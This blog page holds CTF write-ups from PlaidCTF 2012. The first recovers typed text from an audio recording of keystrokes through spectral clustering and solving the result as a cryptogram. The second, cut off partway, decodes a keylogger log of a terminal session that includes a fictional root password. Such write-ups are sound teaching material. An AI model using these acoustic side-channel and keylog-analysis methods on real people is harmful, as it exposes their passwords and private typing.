<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwS7qJodAWxq_cnEt8vR8WDtgREhsJKNLFKd6xChhW2Ch64uO6YzP2lSwO5bt8SlTikYn4pK2Z25Umw9k4yu227La7JDn8E6d79YG7e9Vplm8vm759gqjqF8QrkmeG1cDukJzsyQRMXs/s1600/FFTs.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitwS7qJodAWxq_cnEt8vR8WDtgREhsJKNLFKd6xChhW2Ch64uO6YzP2lSwO5bt8SlTikYn4pK2Z25Umw9k4yu227La7JDn8E6d79YG7e9Vplm8vm759gqjqF8QrkmeG1cDukJzsyQRMXs/s320/FFTs.png" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Comparing different and similar keystrokes</em></div>
<br />
Well, as we might expect, we can clearly appreciate the difference between the graphs of the presumably different keystrokes (on the left), and the similarities of the keystrokes that appear to be originated by the same key (on the right).<br />
<br />
<h2>
Grouping the keystrokes
</h2>
Now we can sort all of these samples by some indicator of their similarity. For this task I tried with a very simple method, minimizing the <a href="http://en.wikipedia.org/wiki/Euclidean_distance" rel="nofollow" target="_blank">Euclidean distance</a> of the DFT vectors between each pair of consecutive samples. To check if that method was apparently good enough or not, I saved that sorted samples in a new audio file, getting the following:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMUnucwyRPEgjw1NzRdM3V6ClcIKUft6AFVV9arPDszZYvNL6Op6xv9fr2tBXujoaUqZHpa3tlIUIImj1trVIsw4swabWO9Wy_4K11cqzCiUQwp2fl58gPwkKwIkj9f52Ag7XkjvTq1U8/s1600/Sorted.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="140" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMUnucwyRPEgjw1NzRdM3V6ClcIKUft6AFVV9arPDszZYvNL6Op6xv9fr2tBXujoaUqZHpa3tlIUIImj1trVIsw4swabWO9Wy_4K11cqzCiUQwp2fl58gPwkKwIkj9f52Ag7XkjvTq1U8/s400/Sorted.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Keystrokes sorted by minimum distance</em></div>
<br />The results are quite impressive, because the consecutive samples sound almost identically, and at the same time we can clearly see that they are also sorted by energy, so the first ones are more likely to be echoes rather than being keystrokes.<br />
<br />
The last step involving the audio data is to group and tag all the samples. There are a lot of IA algorithms to classify a group of samples, but again, I decided to choose one of the simplest ones: scrolling the spectral view of the sorted samples manually and writing down in a paper the exact instants when the frequencies changes substantially (it could be done visually and aided by the sound itself).<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikRYl-7Vl-9-x74iPk8ZHN1tK2HhlgACG6iqT6mc44kaa65kw_9FRk9G_gBenel9sRPaYYIB6o5IW0Rh7zFBc5nlgm7HnGy6KGAvN-_rHeJrJP_qSsFYTf0IreVZ4ibmoluSAYEMWn0Aw/s1600/Grouped.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="131" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEikRYl-7Vl-9-x74iPk8ZHN1tK2HhlgACG6iqT6mc44kaa65kw_9FRk9G_gBenel9sRPaYYIB6o5IW0Rh7zFBc5nlgm7HnGy6KGAvN-_rHeJrJP_qSsFYTf0IreVZ4ibmoluSAYEMWn0Aw/s400/Grouped.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<em>Visual representation on how I divided the groups</em></div>
<br />
In the transition zone between a group and the next one, sometimes we'll find some samples which aren't clearly belonging to the first or the second group, but the error rate should be small in any case, and should not affect the global recovery of the text, because we have a lot of samples compared with the number of groups.<br />
<br />
<h2>
Tagging the keystrokes</h2>
In my implementation, the algorithm detected 1993 positive samples, and then I classified them in 42 different groups (much more than the expected 26 letters of the alphabet plus the space bar, carriage return and some punctuation signs). There are many reasons to justify this fact, but let's continue with the process and they'll be explained later.<br />
<br />
In my opinion, a real keyboard won't produce so many different and distinguishable sounds, like the keys of a piano, but most keys have to sound almost identically. At this point, we can suspect that the audio file isn't a real recording, so if it's specifically generated to be solvable, there could be a chance that each sound has some direct relationship with its ASCII code or something, but I didn't found any.<br />
<br />
In a real scenario, the process should require more complex methods and algorithms, involving accurate cepstrums, training, probabilities, Markov chains, neural networks and so on, but in our case we will be tagging each group sequentially (for instance, starting with the labels "a", "b", "c"…), and then sort them again according to the original positions of each sample. After that process, we will have a text cryptogram ready to be solved.<br />
<br />
<h2>
Solving the cryptogram</h2>
I started replacing the labeling the biggest groups, assuming that they have to be the space bar or the letter "e" (the most <a href="http://en.wikipedia.org/wiki/Letter_frequency" rel="nofollow" target="_blank">frequent keys</a> in English), checking if the cryptogram is still consistent with the expected average word lengths. After that, I continued analyzing and replacing the most common or unusual word patterns, for instance, assuming that the ones of 3 letters have to be words like "the" or "are", the ones of 5 or 6 letters that matches with "robot" and "robots", or the almost unique pattern of the word "effective" (which appears 3 times in the text).<br />
<br />
Finally, after replacing most of the letters, we have a lot of readable phrases, and we can infer new conclusions. The most important conclusion is that some special keys (like shift or enter) are actually emitting multiple and different sounds when pressed and when released. We can see it clearly at the beginning of the phrases, because they are starting with an uppercase letter. By the way, although we can read most of the text, this detail will be crucial to solve the challenge, as we will see.<br />
<br />
<h2>
My recovered text</h2>
Finally, this is the raw text I managed to recover from the audio, without any manual correction. Some notes regarding this text:<br />
<br />
<ul>
<li>The uppercase letters are the ones which have been replaced</li>
<li>The lowercase are some of the original tags of the different groups (so they are quite random and have no real meaning), because their classification wasn't good enough</li>
<li>The symbol "^" represents the shift key press, and "-" is the release of this key</li>
</ul>
<br />
<pre style="font-size: 12px; border:1px solid; background-color: white">
LOGIN
ROBOT
^M-Y KEYSTROKES ARE ^FAe -ThO LOUD ^H,-
MAIL.F
IAIL
R ^mDANGERL HACAERSm -OERLORD^K-ROBOMmIL.CO.ROBO
^I-TCSEEMS THATCTVE HSMAhNS ARE GATHERINh THEIR FORCES^R^
^G-REETINGS TmAELLER,
^A-S YOUmKNOW, OUR WORGT IS IN eERIL. ^O-UR ENEMIES, THERODOTS, BECOME MORE
POWERFUL mITH EVERY PASSImGmTmY. ^B-EFORE WE ARE CAPTURED ANT ALL HOPE IS LOSTe, WE
QUSTHMAKE ONE LAST STAND AGAINST THEM FOR ALL OF HUMANITY.F
^U-P UmTIL NOWh OUR ONLY EFFECTIeE TOOLS AGAINST THE ROBOTSmHAVR BmEN DRUTE FORCE
AND DIAMOND WEAPONRY. ^O-BVIOUSLY DImMONDS ARE EFFECTIhE
OR A NUMBER OF REASONS
^C-HARD ENO
GH TO CUT THROUGH ROBOT ARMOR, STRONG ENOUGH TO MAKE EFFECTIeE
RESTRAINTS, AND SEINY^Y-, HOWEVER, THE R
BOTS ARE KNOKLEDGEABLE OFmTHESE TOOLS,
AND HAVE BEEN QUBTE SUCCESSFUK IN RAIDING OUR DImMOND STOPAGE FACILITIESP
^F-URTHER, ALTHOUGH OUR KNIGHTS ARE BRAVm, THE ROBOTS ARE NUMEROSS, AmD VERYO
DVIFFICSLT TODEFEATh
^L-UCKILY, WE HA.E A SECRET WEAPOH. ^Y-OU. ^H^ACKERS.
^I-T ICS RECENTLY COME TO OUR ATWENTION TAT OUR ROBOT FOES ARE FUGP OF BUGS. ^F-EW
ARE SKILLED ENOUGHmIN THE TYPES OF WIIARDRY RESUIRED T FIND THESE BUGSW BUT
WHEN THEY ARE FOUND, THESE BUGS PROVIDE AN EASY WAY TO TAKE OVER AND DESTmOY
THE RO,OTS. ^F-URTHER, MANY OF THE ROBOTS HA.E HIDDEN DESTRUCTION CODm SEQUENCES^L-
FIND QHE SEQUENCE, AND WEmCAN CAUSE TE ROBOT TO SELF DESTRUCTe
m^W-OTH OURmDIAMOND SURPLY DmINDLINh AND OUR ARMYmOF KNIGHTS LIMITEF, OUR eLAN IS
TO IAKE A HACAINh BLIT TO CATCH THE ROBOTS BY SURPRISE. ^m-E ARE CALLING ALL THE
IACKImG WIIARDS ACROSS THE LAND Th WORK ThhETHER FOR YI HOURS T TAKE OUT AS
MANY ROBOTS AS POSSIBLE. ^W-ITE ENOUGH HELP, mE THINK IT WILL BE POSSIBLE TO
OVERCOME OUR ROBOT ENEMIES AND DESTROY THEBR EIL REIGN.
^W-E ARE C-UNTING ON YOUR HELPW GOOD LUCK.
.
DATE
LOGOUT
</pre>
Well, we can see that the recovered text was not perfect (probably because I simplified excessively the process), but it's highly readable and I stopped there, although with some refinements the algorithm probably could perform better. <br />
<br />
The original text was taken mainly from the synopsis of the PlaidCTF, and the flag seems to be one of the sentences at the beginning. My first attempt on the scoring panel would have been: "My keystrokes are FAR too loud", so I contacted the organizers explaining what I did and they told me that I was close, but it wasn't the correct flag (and revealed me the right one).<br />
<br />
<h2>
The original text</h2>
According to the organizers, this was literally the original text (and they used a script to generate the audio file). In this case, the "^" symbol represents a pause.<br />
<br />
<pre style="font-size: 12px; border:1px solid; background-color: white">
login
^robot
My keystrokes are >>WAY<< too loud
^^mail
^^^^^^^^^^^^mail -s "DANGER: HACKERS" overlord@robomail.co.robo
^It seems that the humans are gathering their forces:
Greetings traveller,
As you know, our world is in peril. Our enemies, the robots, become more
powerful with every passing day. Before we are captured and all hope is lost, we
must make one last stand against them for all of humanity.
Up until now, our only effective tools against the robots have been brute force
and diamond weaponry. Obviously diamonds are effective for a number of reasons
(hard enough to cut through robot armor, strong enough to make effective
restraints, and shiny), however, the robots are knowledgeable of these tools,
and have been quite successful in raiding our diamond storage facilities.
Further, although our knights are brave, the robots are numerous, and very
difficult to defeat.
Luckily, we have a secret weapon. You. Hackers.
It has recently come to our attention that our robot foes are full of bugs. Few
are skilled enough in the types of wizardry required to find these bugs, but
when they are found, these bugs provide an easy way to take over and destroy
the robots. Further, many of the robots have hidden destruction code sequences:
find the sequence, and we can cause the robot to self destruct.
With our diamond supply dwindling and our army of knights limited, our plan is
to make a hacking blitz to catch the robots by surprise. We are calling all the
hacking wizards across the land to work together for 48 hours to take out as
many robots as possible. With enough help, we think it will be possible to
overcome our robot enemies and destroy their evil reign.
We are counting on your help, good luck.
.
^^^^^^date
^^^logout
</pre>
<h2>
Final remarks</h2>
When I saw the angle brackets on the flag, I thought that they were emphasizing the wrong word in my expected flag, but no, they weren't… these symbols are actually part of the flag!<br />
<br />
I can imagine when somebody thought something like: "Hey, this challenge is very easy, so let's give it 200 points only, and to make it harder, let's use a flag with short words and strange symbols in the middle" xDD<br />
<br />
Initially, I argued them that it was impossible to determine that symbols of the flag, as they weren't used in any other part of the text, but they replied to me that the angle brackets, in the American keyboard layouts, are the same keys (and sounds) of comma and dot, combined with the shift key. So yes, they're right and I completely agree, but I didn't noticed that, mainly because in my Spanish keyboard (and many others) these symbols are sharing the same key, so they are in a different location, and also, in the text I recovered, the process missed and confused some keystrokes.<br />
<br />Unknownnoreply@blogger.com2tag:blogger.com,1999:blog-8030856701715224582.post-66939564360497677152012-05-01T14:52:00.000+02:002012-05-01T15:00:21.456+02:00PlaidCTF 2012 - Editors (100 pts)<br />
<div class="ace-line" id="magicdomid11059" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
Past weekend, we participated in <a href="http://www.plaidctf.com/">Plaid CTF 2012</a> (perhaps the best CTF I've ever played, kudos to <a href="http://ppp.cylab.cmu.edu/">PPP</a>!). I haven't seen any write-up about "Editors" challenge so here we go...</div>
</div>
<div class="ace-line" id="magicdomid11059" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<br /></div>
</div>
<div class="ace-line" id="magicdomid11059" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
At first sight, this challenge seems simple and even easy to solve by guessing. But it turned out to be not so easy but a real mess :)</div>
</div>
<div class="ace-line" id="magicdomid11059" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
What we know:</div>
</div>
<div class="ace-line" id="magicdomid11059" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<blockquote class="tr_bq">
<div style="text-align: justify;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">"We recently gained access to a log (<a href="http://repo.shell-storm.org/CTF/PlaidCTF-2012/editors/handout.txt">handout.txt</a>)</span><span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"> </span>of a robot operative interacting with computer. We are unsure what he was up to but we know it is of the upmost importance to figure it out."</div>
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
</span></blockquote>
</div>
<div class="ace-line" id="magicdomid11063" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
We are also given following hints:</div>
<blockquote class="tr_bq">
<div style="text-align: justify;">
1. In /etc/sudoers, editor=/usr/bin/emacs</div>
<div style="text-align: justify;">
2. Try out yourself!</div>
<div style="text-align: justify;">
3. By the state of the machine, we mean either 'on' of 'off'.</div>
</blockquote>
<div style="text-align: justify;">
After opening .txt file we can read:</div>
</div>
<div class="ace-line" id="magicdomid11069" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<blockquote class="tr_bq" style="text-align: justify;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">"We received the following from our keylogger. Please submit to us the number </span><span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">of times the editor default in sudoers is set, followed by that field's final </span><span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">value, followed by the number of shells invoked, followed by the state of the </span><span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">machine."</span></blockquote>
</div>
<div class="ace-line" id="magicdomid11073" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">That's all we have. So it's your chance now... try to solve it without our help! </span>Or keep on reading if you are not brave enough! }:-) (seriously, try it yourself!).</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
- - -</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Text was taken from a keylogger so it must contain <a href="http://www.comptechdoc.org/os/linux/howlinuxworks/linux_hlkeycodes.html">keycodes</a>. First task is building some kind of conversion table:</div>
<br />
<ul>
<li style="text-align: justify;">1b -> <esc></li>
<li style="text-align: justify;">1b 1b -> <esc><esc> or <alt-esc></li>
<li style="text-align: justify;">01 -> <ctrl-a></li>
<li style="text-align: justify;">09 -> <tab> or <ctrl-i></li>
<li style="text-align: justify;">02 -> <ctrl-b></li>
<li style="text-align: justify;">1b 30 -> <esc>0 or <alt-0></li>
<li style="text-align: justify;">18 -> <ctrl-x></li>
<li style="text-align: justify;">13 -> <ctrl-s></li>
<li style="text-align: justify;">03 -> <ctrl-c></li>
<li style="text-align: justify;">0a -> <ctrl-j></li>
</ul>
</div>
<div class="ace-line" id="magicdomid11098" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div class="ace-line" id="magicdomid11080" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span style="font-family: monospace; font-size: 13px; line-height: 17px;">Some ambiguities arise but we could try to solve it by context, or in other words, by reading different documentation like:</span></div>
<div style="text-align: justify;">
<span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">- teco:</span></div>
<div style="text-align: justify;">
<span class=" url" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://www.avanthar.com/~healyzh/teco/TecoPocketGuide.html" style="cursor: pointer !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">http://www.avanthar.com/~healyzh/teco/TecoPocketGuide.html</a></span><span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"> </span></div>
<div style="text-align: justify;">
<span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">- screen</span><span style="font-family: monospace; font-size: 13px; line-height: 17px;"> </span></div>
</div>
<div class="ace-line" id="magicdomid11082" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class=" url" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://www.pixelbeat.org/lkdb/screen.html" style="cursor: pointer !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">http://www.pixelbeat.org/lkdb/screen.html</a></span></span></div>
<div style="text-align: justify;">
<span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">- ed</span></div>
</div>
<div class="ace-line" id="magicdomid11083" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span class="" style="cursor: auto; font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><span class=" url" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><a href="http://www.catonmat.net/download/ed.unix.text.editor.cheat.sheet.txt" style="cursor: pointer !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">http://www.catonmat.net/download/ed.unix.text.editor.cheat.sheet.txt</a></span><span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"> </span></span></div>
</div>
<div class="ace-line" id="magicdomid11084" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<span style="font-family: monospace; font-size: 13px; line-height: 17px;">(etc.)</span></div>
<div style="text-align: justify;">
<span style="font-family: monospace; font-size: 13px; line-height: 17px;"><br /></span></div>
<div style="text-align: justify;">
<span style="font-family: monospace; font-size: 13px; line-height: 17px;">Below this is the final text we built (with big effort and pain :-)). We need to know when a new shell is opened and when a modified sudoers is written (this is important: sudoers should be truly modified in order to count). Our approach was to reproduce typed text in order to understand it better. See inline comments.</span></div>
</div>
</div>
<div class="ace-line" id="magicdomid11099" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<br /></div>
</div>
<div class="ace-line" id="magicdomid11101" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">ssh user@1337box<enter> [ No new shell is opened *in our box* ]</span></div>
</div>
<div class="ace-line" id="magicdomid11102" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">cronjobscronjobscronjobscronjobs<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11103" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">ksu -l<enter> [ Now I'm root. But no new shell is opened! ]</span></div>
</div>
<div class="ace-line" id="magicdomid11104" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">ub3rstongdeemonsfromtehsewarsZZZ!<enter> [ Ups, root password! ]</span></div>
</div>
<div class="ace-line" id="magicdomid11105" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">cd<enter></span></div>
</div>
<div class="ace-line" id="magicdomid11106" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">screen<enter> [ Shell++ (=1) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11107" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><enter></span></div>
</div>
<div class="ace-line" id="magicdomid11108" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a>S [ Split window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11109" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a><tab> [ Switch to lower window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11110" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a>c [ Open shell in lower window -> Shell++ (=2) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11111" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">tmux<enter> [ Open tmux in lower window -> Shell++ (=3) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11112" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-b>% [ Lower window is splitted -> Shell++ (=4) ]</span></div>
</div>
<div class="ace-line" id="magicdomid11113" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
<span class="" style="cursor: auto; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 1px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"><ctrl-a><tab> [ Switch to upper window ]</span></div>
</div>
<div class="ace-line" id="magicdomid11114" style="font-family: monospace; font-size: 13px; line-height: 17px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 1px; padding-top: 0px;">
<div style="text-align: left;">
